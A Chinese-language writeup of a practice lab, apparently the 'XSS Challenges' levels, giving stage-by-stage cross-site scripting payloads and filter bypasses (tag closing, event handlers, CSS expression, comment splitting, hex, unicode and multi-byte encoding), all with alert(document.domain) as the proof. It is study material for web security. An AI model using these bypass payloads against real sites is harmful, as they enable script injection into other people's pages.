0x01:描述
最近发现一个挺好的XSS练习关卡—-XSS Challenges,感兴趣的可以做一下==>传送门<==
这里我将一些关卡的writeup与大家分享一下,共同学习。
0x02:WriteUp
Stage #1
这个比较简单,直接在search输入
<script>alert(document.domain)</script>
Stage #2
输入的内容被放进了标签里,可以去闭合标签
"><script>alert(document.domain)</script><"
也可以直接在标签里触发:(单击search输入框)
" onclick=alert(document.domain) value="asd
Stage #3
直接在search框里插入
<script>alert(document.domain)</script>
但是直接被显示出来了,查看源码发现<>被转义了
<b>"<script>alert(document.domain)</script>"</b>
但是可以尝试抓包,在国家的位置插入语句
<script>alert(document.domain)</script>
成功弹窗
Stage #4
在search和country的位置都被转义了,但是抓包的时候注意到国家后面还有一个变量但是在页面当中显示不出来。F12用firebug查看一下,可以看到后面的那个字段被设置成了隐藏的属性,将其修改修改为text就可显示出来。可以用下面的语句插入到hackme位置
"><script>alert(document.domain)</script><"
Stage #5
这里对输入框的内容作了长度限制,我们修改一下属性即可
闭合标签:
">;<script>alert(document.domain);</script><"
在标签内触发:(单击search输入框)
" onclick=alert(document.domain) value="asd
Stage #6
转义了>< 用on事件在input内触发即可
" onclick=alert(document.domain) value="asd
Stage #7
转义了""但是用
" onclick=alert(document.domain)
依然可以,前面的那个双引号只是被当成显示的内容,换气其他字符同样可以
Stage #8
这里用<a>标签触发js,当点击如下链接的时候弹出窗口
javascript:alert(document.domain)
Stage #9
测试失败,这个跟浏览器限制很大,查了些资料,好像只有在ie8机器一下版本可以实现,我用的是火狐,IE也到9了。这里告诉大家一下方法,即使不知道正确的解题方法我们可以过关,只要在网页合适的位置插入js代码即可。
<script>alert(document.domain)</script>
当然还是要好好做题的。。。
Stage #10
跟之前的情况差不多,但是过滤了domain,可以这样构造
" onclick=alert(document.domdomainain) value="asd
Stage #11
这里对标签做了过滤,script==》xscript on事件==》onxxxx,这样的话可以通过a标签触发,同时要对JavaScript进行html编码,这里只对s进行编码即可
"><a href="javascript:alert(document.domain);">a</a><"
Stage #12
经过测试,过滤了尖括号、双引号、空格,用以下代码在IE下通过,那两个单引号是ESC下面的键
``onclick=alert(document.domain)
Stage #13
这一个考察的是CSS样式属性的XSS,在CSS样式中利用expression实现JavaScript中的onmouseover/onmouseout事件
expression(onmouseover=function(){alert(document.domain)})
也是在IE下才可利用成功
Stage #14
测试发现过滤了expression,发现提示给的正则如下
s/(url|script|eval|expression)/xxx/ig;
通过加入注释符可绕过
expre/**/ssion(onmouseover=function(){alert(document.domain)})
Stage #15
这里对><进行了编码,而且处在document.write()函数中,可以对><进行16进制编码
\x3Cscript\x3Ealert(document.domain)\x3C/script\x3E
Stage #16
换成Unicode编码
\u003cscript\u003ealert(document.domain);\u003c/script\u003e
Stage #17
multi-byte character,思路跟php宽字节注入一样,输入某个特殊的字节,吃掉双引号
1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
Stage #18
测试失败。。。